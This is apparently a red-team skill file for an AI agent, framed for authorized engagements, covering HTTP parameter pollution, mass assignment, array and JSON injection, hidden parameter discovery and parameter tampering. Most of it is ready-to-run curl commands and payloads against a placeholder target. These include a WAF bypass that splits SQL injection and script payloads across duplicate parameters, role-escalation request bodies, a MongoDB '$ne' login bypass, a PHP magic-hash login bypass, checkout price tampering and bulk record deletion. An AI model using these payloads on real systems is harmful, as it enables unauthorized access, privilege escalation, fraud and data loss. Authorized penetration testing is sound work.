---
name: rt-http-parameter-pollution
description: "HTTP Parameter Pollution, mass assignment, and parameter tampering skill for authorized engagements. HPP to bypass WAF/filters, duplicate parameter behavior across frameworks, mass assignment in REST APIs (adding role/admin fields), hidden parameter discovery, parameter type juggling, array injection, and JSON property injection. Use when testing how applications handle unexpected or duplicate parameters."
---

# rt-http-parameter-pollution — HTTP Parameter Pollution & Mass Assignment

## Overview

Parameter pollution attacks exploit how applications handle unexpected, duplicate, or extra parameters. Different frameworks handle duplicate parameters differently — what the WAF sees vs what the app sees differs, enabling filter bypass and unauthorized data injection.

---

## Phase 1 — HTTP Parameter Pollution (HPP)

```bash
# Different frameworks handle duplicate params differently:
# PHP:          last value wins  → ?a=1&a=2 → a=2
# ASP.NET:      first value wins → ?a=1&a=2 → a=1
# ASP.NET MVC:  comma-joined     → ?a=1&a=2 → a=1,2
# Node/Express: array            → ?a=1&a=2 → a=['1','2']
# Flask/Python: first value      → ?a=1&a=2 → a=1

# WAF bypass: split attack payload across duplicate params
# WAF sees: a=SEL and a=ECT * → not 'SELECT *' → passes
# Server concatenates: a=SELECT * → SQLi executes
curl "https://target.com/search?q=SEL&q=ECT+*+FROM+users"
curl "https://target.com/search?q=<scr&q=ipt>alert(1)</script>"

# Auth bypass via duplicate params
# If app checks first param but uses second:
curl "https://target.com/api?admin=false&admin=true"

# Test HPP behavior
for val in "1&param=2" "1%26param=2" "1;param=2"; do
  curl "https://target.com/api?param=$val" -v
done
```

---

## Phase 2 — Mass Assignment

```bash
# REST APIs that bind request body to model objects
# If model has admin/role field not exposed in docs → inject it

# Registration with role escalation
curl -X POST https://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"pass","role":"admin"}'

# Profile update with hidden fields
curl -X PUT https://target.com/api/user/profile \
  -H "Content-Type: application/json" \
  -d '{"name":"test","isAdmin":true,"verified":true,"credits":99999}'

# Common hidden fields to try
# role, roles, isAdmin, admin, superuser, verified, active
# credits, balance, quota, tier, plan
# permissions, scopes, groups
# created_at, updated_at (override timestamps)
# password_confirmation (skip validation)

# Parameter guessing from error messages
# Send request → error reveals model field names
curl -X POST https://target.com/api/register \
  -d '{"invalid_field": "value"}'
# Error: "Unknown field 'invalid_field'. Known fields: username, password, email, role, isActive"
# → role and isActive are valid fields!

# GraphQL mass assignment
# Mutations often accept more fields than documented
curl -X POST https://target.com/graphql \
  -d '{"query":"mutation{updateUser(id:1,input:{name:\"x\",role:\"admin\",isAdmin:true}){id name role}}"}'
```

---

## Phase 3 — Array & JSON Injection

```bash
# Array injection when server expects single value
# Normal: ?id=1
# Array: ?id[]=1&id[]=2 → may access records 1 AND 2

# PHP array injection
curl "https://target.com/delete?id[]=1&id[]=2&id[]=999"  # Delete multiple records
curl "https://target.com/api?role[]=user&role[]=admin"   # Multiple roles

# JSON type confusion
# Server expects string, send array/object
curl -X POST https://target.com/api/login \
  -d '{"username":{"$ne":""},"password":{"$ne":""}}'    # MongoDB NoSQL injection

# Type juggling (PHP loose comparison)
# md5('240610708') == md5('QNKCDZO') → both start with "0e"
# PHP treats 0e... as scientific notation → both = 0 → equal!
curl -X POST https://target.com/login \
  -d "password=240610708"  # If stored hash is md5('QNKCDZO') → login bypass

# JSON number vs string
curl -X POST https://target.com/api \
  -d '{"id": "1 OR 1=1"}'     # String — possible SQLi
curl -X POST https://target.com/api \
  -d '{"id": 9999999999}'      # Large int — integer overflow
curl -X POST https://target.com/api \
  -d '{"id": null}'            # Null — bypass null check
curl -X POST https://target.com/api \
  -d '{"id": true}'            # Boolean — type confusion
```

---

## Phase 4 — Hidden Parameter Discovery

```bash
# Param Miner (Burp extension) — automated hidden param discovery
# Active Scan → Param Miner → "Guess params"
# Tests thousands of potential parameter names

# Manual — common hidden params
hidden_params=(
  "debug" "test" "admin" "internal" "dev"
  "callback" "redirect" "return" "next" "url"
  "format" "output" "type" "action" "method"
  "id" "user_id" "account_id" "token" "key"
  "override" "bypass" "force" "unsafe"
)

for param in "${hidden_params[@]}"; do
  response=$(curl -s "https://target.com/api?$param=true" -w "%{http_code}")
  echo "$param: ${response: -3}"
done

# Source code mining for hidden params
# Extract from JavaScript files
grep -rE "params\[|req\.query\.|request\.args\.|request\.GET\[" *.js *.py *.rb
linkfinder -i https://target.com -d  # Extract endpoints + params from JS
```

---

## Phase 5 — Parameter Tampering

```bash
# Modify parameters that appear fixed/uneditable in UI

# Hidden form fields
curl -X POST https://target.com/checkout \
  -d "product_id=1&price=0.01&quantity=1"  # Change price

# JWT claims tampering (see also rt-exploit-jwt)
# Encoded params in cookies
# Base64 decode → modify → re-encode
echo "dXNlcjoxMjM=" | base64 -d  # user:123
echo -n "user:1" | base64  # → dXNlcjox → change to user 1

# IDOR via parameter change
GET /api/invoice/download?id=12345  →  id=12344, id=12346

# Price in Base64 (some carts encode price server-side)
# Decode → modify → encode → submit
echo "cHJpY2U9MTAwMC4wMA==" | base64 -d  # price=1000.00
echo -n "price=0.01" | base64 | curl -X POST ... -d "data=BASE64"
```

---

## Skill Levels

**BEGINNER:** Mass assignment with admin/role fields · HPP with duplicate params · Array injection

**INTERMEDIATE:** WAF bypass via HPP splitting · Hidden parameter discovery with Param Miner · JSON type confusion

**ADVANCED:** PHP type juggling exploit · Complex mass assignment via nested objects · Parameter precedence abuse

**EXPERT:** Framework-specific HPP behavior chains · Custom parameter pollution for specific filter bypass

---

## References

- PortSwigger Mass Assignment: https://portswigger.net/web-security/api-testing/mass-assignment-vulnerabilities  
- HPP research: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution
- Param Miner: https://github.com/PortSwigger/param-miner
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
